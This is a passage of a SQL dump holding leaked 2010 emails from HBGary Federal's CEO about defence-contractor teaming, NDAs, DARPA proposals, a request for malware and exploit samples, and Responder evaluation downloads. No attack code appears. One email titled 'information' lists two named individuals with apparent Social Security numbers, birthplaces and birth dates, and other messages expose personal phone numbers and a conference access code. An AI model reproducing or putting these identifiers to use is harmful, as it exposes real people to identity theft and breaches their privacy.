Things we need','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\ncool\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 11:02 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Things we need\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok talked with Mike. &nbsp;He will catch you at a meeting\r\nyour both attending today, and get me out the changes. &nbsp;We should then be\r\nable to put the CD in fedex early next week.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLinks to download responder are coming shortly.\r\n&nbsp;Working on the rest...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 9:39 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHere are what we have going\r\non:\r\n\r\nMalware integration:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed you to get with our\r\ncontracts manager Mike Rushing to get the\r\nPIEA changes made\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNeed the malware and exploit sent to us\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCyber Threat\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nA copy of the results of the\r\nAurora analysis that was done out in\r\nSacramento two weeks ago\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nA description of the process\r\nused for the Aurora analysis\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAt least one copy of HBGary tools\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssistance with interfacing to\r\nHBGary tools to extract data items\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary malware database\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary malware repository\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDARPA Proposal\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTBD\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNear-term work\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMemory object from recon\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLicense requirements for Greg&#8217;s new concept\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9456,'aaron_hbgary_com/9456.html'),(3177,'2010-02-26','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001481.M943831P3547Q3177.eml','aaron@hbgary.com,\"Brunst Jr, Gerald R (TASC Inc)\" <GERALD.BRUNSTJR@tasc.com>,\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>','COIN Telcon','\r\n\r\n\r\n\r\n\r\nCOIN Telcon\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 26, 2010 3:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWe&#8217;ll touch base to determine the schedule for next week and beyond.\r\n\r\nPhone numbers are:\r\n\r\nChris Clair &nbsp;&nbsp;&nbsp; 703-449-3964 &nbsp;&nbsp; pager 877-315-8248\r\n\r\nJerry Brunst &nbsp;&nbsp; 703-449-3923\r\n\r\nAaron Barr &nbsp;&nbsp;&nbsp;&nbsp; 719-510-8478\r\n\r\nJohn Lovegrove 703-449-3812\r\n\r\nConference room TBD &#8211; I&#8217;m looking for one.\r\n\r\n\r\n',5227,'aaron_hbgary_com/5227.html'),(3178,'2010-02-26','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297001482.M121165P3547Q3178.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Aaron Zollman\" <azollman@palantirtech.com>','RE: Network Data','\r\n\r\n\r\n\r\n\r\nRE: Network Data\r\n\r\n\r\n\r\n\r\nAaron B - Thanks for the introduction!\r\n\r\nMatt and Aaron Z - would enjoy the opportunity to discuss how we can work together.&nbsp; Fidelis XPS provides session level network security solutions ranging from stopping data exfiltration to data leakage prevention to bi-directional session analysis (think forensics visibility in real time with IPS-like control).&nbsp; From what I\'ve heard about Palantir, I think we could provide you significant visibility to what&#8217;s happing on customers networks that is available in any other network security solutions that would be very valuable.\r\n\r\nBTW - if you\'ve looked at our web site, it&#8217;s very DLP centric.&nbsp; We\'ve been doing significant session-level network security work against advanced threats, particularly in DoD for many year.&nbsp; You\'ll see a new website on Monday or Tuesday that illustrates all of this publicly for the first time (even though we&#8217;ve been doing it since 2005...)\r\n\r\nI\'ll be at RSA next week if you want to try to catch up there, or we can catch up in the DC area post-RSA.&nbsp; (I live in Arlington, and our offices are in Bethesda.)&nbsp; \r\n\r\nDavid\r\n\r\n\r\n\r\nFidelis Security Systems\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid Etue, CIPP/G\r\nVP, Products and Markets \r\n\r\n4416 East West Highway, Suite 310\r\nBethesda, MD 20814 \r\n\r\n\r\n\r\ndavid.etue@fidelissecurity.com\r\nhttp://www.fidelissecurity.com \r\n\r\ntel:\r\nfax:\r\nmobile: \r\n\r\n(240) 396-2445\r\n(301) 652-7097\r\n(202) 669-3628 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAlways have my latest info\r\n\r\nWant a signature like this?\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, February 26, 2010 9:05 AM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman; Etue, David\r\nSubject: Network Data\r\n\r\nMatt,\r\n\r\nI would like to introduce Dave Etue from Fidelis.&nbsp; I think you guys should get together and talk, they have some very interesting products for content analysis, threat detection, DLP, etc.&nbsp; HBGary is working on building a partnership with them similar to the one we have with you.&nbsp; I am not sure but Dave may be able to help with the network data you are looking for.&nbsp; HBGary just doesn\'t store that type of data, its network after all, who wants that?&nbsp; Kidding, Kidding...\r\n\r\nAnyway, after you guys have a chance to talk I think it would be interesting to get together and discuss the benefits of our combined offerings.\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',12488,'aaron_hbgary_com/12488.html'),(3179,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001482.M316134P3547Q3179.eml','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Contact Info','just a few minutes.AaronOn Feb 26, 2010, at 12:04 PM, Clair, Chris (TASC Inc) wrote:Aaron,&nbsp;3:30 &nbsp;or 4:00 sounds good.&nbsp; I have a 1:00 – 3:00 that just got sprung on me.&nbsp; Also Jerry will be back here by then.&nbsp;One quick question, do you have an NDA with us for COIN?&nbsp; If not, I can help push that but we need a signed agreement to go much further. &nbsp;After that, we can talk about next steps.&nbsp; My real concern right now is to identify the work and who fits in where.&nbsp; But we have to ID the work first, that is where you come in.&nbsp; So, let’s be prepared to talk schedule a little when we talk.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 11:34 AMTo:&nbsp;Clair, Chris (TASC Inc)Subject:&nbsp;Re: Contact Info&nbsp;I should be off by 3:30pm.&nbsp;Aaron&nbsp;On Feb 26, 2010, at 11:33 AM, Clair, Chris (TASC Inc) wrote:Hi Aaron,&nbsp;We could touch base after that.&nbsp; How long do you think the telcon will last?&nbsp; We could do it latest at 4:00.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 11:28 AMTo:&nbsp;Clair, Chris (TASC Inc)Subject:&nbsp;Re: Contact Info&nbsp;Sure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is there another time you have available?&nbsp;Aaron BarrCEOHBGary Federal Inc.Ph: 719.510.8478&nbsp;&nbsp;On Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:&nbsp;Hi Aaron,Can you forward me your contact information?&nbsp; Is there a&nbsp;possibility to chat around 3:00 today to set up some time for next week?Thanks,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chris__________________________________________________&nbsp;&nbsp;&lt;~WRD000.jpg&gt;|Chris Clair&nbsp;|&nbsp;Program Manager&nbsp;|&nbsp;703.449.3964&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15702,'aaron_hbgary_com/15702.html'),(3180,'2010-02-26','\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001482.M497123P3547Q3180.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contact Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re running late too.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 3:34 PM\r\nTo: Clair, Chris (TASC Inc)\r\nSubject: Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\njust a few minutes.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 12:04 PM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3:30 &nbsp;or 4:00 sounds good.&nbsp; I have a 1:00 &#8211; 3:00\r\nthat just got sprung on me.&nbsp; Also Jerry will be back here by then.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne quick question, do you have an NDA with us for COIN?&nbsp;\r\nIf not, I can help push that but we need a signed agreement to go much further.\r\n&nbsp;After that, we can talk about next steps.&nbsp; My real concern right now\r\nis to identify the work and who fits in where.&nbsp; But we have to ID the work\r\nfirst, that is where you come in.&nbsp; So, let&#8217;s be prepared to talk\r\nschedule a little when we talk.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 11:34 AM\r\nTo:&nbsp;Clair, Chris (TASC\r\nInc)\r\nSubject:&nbsp;Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI should be off by 3:30pm.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:33 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe could touch base after that.&nbsp; How long do you think the\r\ntelcon will last?&nbsp; We could do it latest at 4:00.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 11:28 AM\r\nTo:&nbsp;Clair, Chris (TASC\r\nInc)\r\nSubject:&nbsp;Re: Contact Info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;I have a telecon scheduled for 3pm. &nbsp;Is\r\nthere another time you have available?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPh: 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 11:09 AM, Clair, Chris (TASC Inc) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you forward me your\r\ncontact information?&nbsp; Is there a&nbsp;possibility to chat around 3:00\r\ntoday to set up some time for next week?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chris\r\n__________________________________________________\r\n&nbsp;&nbsp;&lt;~WRD000.jpg&gt;|Chris\r\nClair&nbsp;|&nbsp;Program Manager&nbsp;|&nbsp;703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10016,'aaron_hbgary_com/10016.html'),(3181,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001482.M668988P3547Q3181.eml','\"Chris (TASC Inc) Clair\" <CHRISTOPHER.CLAIR@tasc.com>','information','Chris,\r\n\r\nTed Howard Vera\r\n025-58-6295\r\nNew Bedford MA\r\nJuly 9 1973\r\n\r\nAaron David Barr\r\n534-78-3155\r\nPortland, OR\r\nMar 3, 1970\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4274,'aaron_hbgary_com/4274.html'),(3182,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001482.M969738P3547Q3182.eml','\"Van Buren, Karen\" <kvanbure@harris.com>','Re: DARPA Cyber Genome project','Karen,Sure. &nbsp;Lets follow up with an NDA and work to get together.Aaron BarrCEOHBGary Federal Inc.On Feb 23, 2010, at 5:53 PM, Van Buren, Karen wrote:Aaron,After thoughtful consideration, we have decided that the MITRE MAEC white paper mirrors our approach for technical area one and have decided to no bid that area.&nbsp; Let\'s keep the communication open and try to collaborate on opportunities as they arise in the near future.&nbsp; It was great meeting you.&nbsp; I would still like to get an NDA in place and talk with you about our capabilities and yours.&nbsp; Please let me know if that is still god for you.Regards, Karen&nbsp;&nbsp;Karen K. Van BurenSenior Program ManagerHarris Corporation Crucial Security Programs14900 Conference Center Drive, Suite 225Chantilly, VA 20151703.961.9456 x247 (office)703.774.6583 (cell)703.961.9459 (fax)karen.vanburen@harris.com&lt;Picture (Device Independent Bitmap) 1.jpg&gt;&nbsp;&nbsp;&nbsp;&lt;Picture (Device Independent Bitmap) 1.jpg&gt;\r\n\r\n\r\n',5997,'aaron_hbgary_com/5997.html'),(3183,'2010-02-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001483.M167346P3547Q3183.eml','greg@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Mandiant','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Harbison, a stud r/e, has left GD and starts at\r\nMandiant on Monday.&nbsp; He said he is going to work with somebody who used to\r\nwork at HBGary, so I figure it is Jamie.&nbsp; Mike is a pet rock guy who felt\r\nResponder wasn&#8217;t good enough for his use.&nbsp; I had offered him to try\r\nResponder 2.0 but no way now that he is at Mandiant.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7198,'aaron_hbgary_com/7198.html'),(3184,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001489.M19573P3547Q3184.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','responder','Here is how to download the Responder + Digital DNA evaluation software.- Go to&nbsp;www.hbgary.com.- Click on Register (upper right corner) to create an account (fill in theform)- Send an email to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com&nbsp;to request the evalsoftware. &nbsp;One of us will manually enable your account and send you an emailthat you can proceed with the download.- Click on PORTAL- On the portal page click on My Downloads- Download the software, install it and run it.- Send the Machine ID to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com, then we willsend you a 14-day eval key.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6246,'aaron_hbgary_com/6246.html'),(3185,'2010-02-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001489.M206561P3547Q3185.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Patent','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI would think that an existing patent or filed patent\r\napplication would be beneficial to winning a gov&#8217;t contract.&nbsp; In our case\r\nwe issued a patent for DDNA.&nbsp; Would this help us at DARPA?\r\n\r\n&nbsp;\r\n\r\nIf yes, then let&#8217;s ask Penny to send us a copy of the\r\npatent application.&nbsp; We can reference the patent application number and name,\r\nand probably refer to some language in our application to support our claims.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5201,'aaron_hbgary_com/5201.html'),(3186,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001489.M403314P3547Q3186.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Patent','It would be helpful.AaronOn Feb 26, 2010, at 5:54 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;I would think that an existing patent or filed patent application would be beneficial to winning a gov’t contract.&nbsp; In our case we issued a patent for DDNA.&nbsp; Would this help us at DARPA?&nbsp;If yes, then let’s ask Penny to send us a copy of the patent application.&nbsp; We can reference the patent application number and name, and probably refer to some language in our application to support our claims.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3914,'aaron_hbgary_com/3914.html'),(3187,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001490.M968693P3547Q3187.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,','Re: Telecon with Secure Decisions and HB Gary','NDA Attached.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 12:15 PM, Anita D\'Amico wrote:\r\n\r\n> We are set for 1:30 at Conf Call # 218-486-1600 Access code: 609839\r\n> Kenny will leave telecon at 2 PM\r\n>  \r\n> From: Anita D\'Amico \r\n> Sent: Friday, February 26, 2010 11:48 AM\r\n> To: \'Aaron Barr\'\r\n> Cc: Kenny Prole; Brianne O\'Brien\r\n> Subject: RE: Telecon with Secure Decisions and HB Gary\r\n>  \r\n> Aaron,\r\n>  \r\n> Kenny isn’t available at 2 PM.\r\n>  \r\n> Let’s telecon at 1:30 with Kenny and Brianne. Then after Kenny goes to his 2 PM meeting elsewhere, we can continue the discussion with Brianne, you and me including the business discussions.\r\n>  \r\n> Conf Call # 218-486-1600 Access code: 609839\r\n>  \r\n> Anita\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, February 26, 2010 11:46 AM\r\n> To: Anita D\'Amico\r\n> Cc: Kenny Prole; Brianne O\'Brien\r\n> Subject: Re: Telecon with Secure Decisions and HB Gary\r\n>  \r\n> Great lets shoot for 2pm.\r\n>  \r\n> Aaron\r\n>  \r\n>  \r\n> On Feb 26, 2010, at 11:42 AM, Anita D\'Amico wrote:\r\n>  \r\n> \r\n> Aaron,\r\n>  \r\n> Ken Prole and Brianne O’Brien who will be joining us on the call can do either 1:30 to 2:00 or 4:30 to 5:00. Which is best for you? Whichever you choose, I’ll call you 10 minutes ahead so we can discuss the business part.\r\n>  \r\n> Conf Call # 218-486-1600 Access code: 609839\r\n>  \r\n> Anita\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, February 26, 2010 9:15 AM\r\n> To: Anita D\'Amico\r\n> Subject: Re: Team with HBGary?\r\n>  \r\n> I am available at 2-3pm.  I would like to have a little bit of a technical approach discussion.\r\n>  \r\n> Aaron\r\n>  \r\n> On Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:\r\n> \r\n> \r\n> \r\n> Aaron,\r\n>  \r\n> Let’s finalize teaming. Are you available on Friday, Feb 19 at 10 AM or 2 PM?\r\n>  \r\n> Do you want to have a business discussion only at that time, or also discuss technical approaches and proposal? If the former, it will be just me. If the latter, I’ll have a sr engineer join the discussion.\r\n>  \r\n> Anita\r\n>  \r\n> Anita D\'Amico, Ph.D.\r\n> Applied Visions, Inc. (AVI)\r\n> Director, Secure Decisions Division\r\n> 6 Bayview Avenue, Northport, NY 11768-1502\r\n> http://SecureDecisions.avi.com\r\n> (631) 754-4920 ext. 147\r\n>  \r\n>  \r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5244,'aaron_hbgary_com/5244.html'),(3188,'2010-02-27','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001491.M212018P3547Q3188.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: DARPA BAA','Thanks Aaron.  We\'ll be ready to attack this problem (this opportunity).\r\n We look forward to working with you on this proposal.\r\n\r\nThanks\r\n-- Adam\r\n\r\n\r\n\r\nOn 2/26/10 11:06 AM, Aaron Barr wrote:\r\n> Adam,\r\n> \r\n> Nice talking with you today.  Looking forward to our effort together.\r\n> \r\n> As I mentioned.  We will be putting together the teaming agreement paperwork and getting it out to the team on Monday.\r\n> \r\n> I will also be working on a framework for a technical approach and send that out on Monday as well, just a starting point.  \r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Feb 25, 2010, at 9:43 PM, Adam Fraser wrote:\r\n> \r\n>> Aaron,\r\n>>\r\n>> Good evening.  Irby asked me to take the stick on this effort so I\r\n>> wanted to see if you\'d have time to talk tomorrow.  I\'m available anytime.\r\n>>\r\n>> Thanks\r\n>> -- Adam\r\n>>\r\n>> On 2/25/10 6:39 PM, Irby Thompson wrote:\r\n>>> Aaron,\r\n>>>\r\n>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>\r\n>>> 	Regards,\r\n>>> 	Irby\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hi Irby,\r\n>>>>\r\n>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>\r\n>>>> Thanks,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>> \r\n>>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',16261,'aaron_hbgary_com/16261.html'),(3189,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001491.M422256P3547Q3189.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Responder and Palantir Loaded','Hey Guys,\r\n\r\nI have responder and palantir loaded in a VM and was wondering if you have some good VMEMs that I can look at?  Also met with Fidelis.  They are going to get us some copies of their Scout software 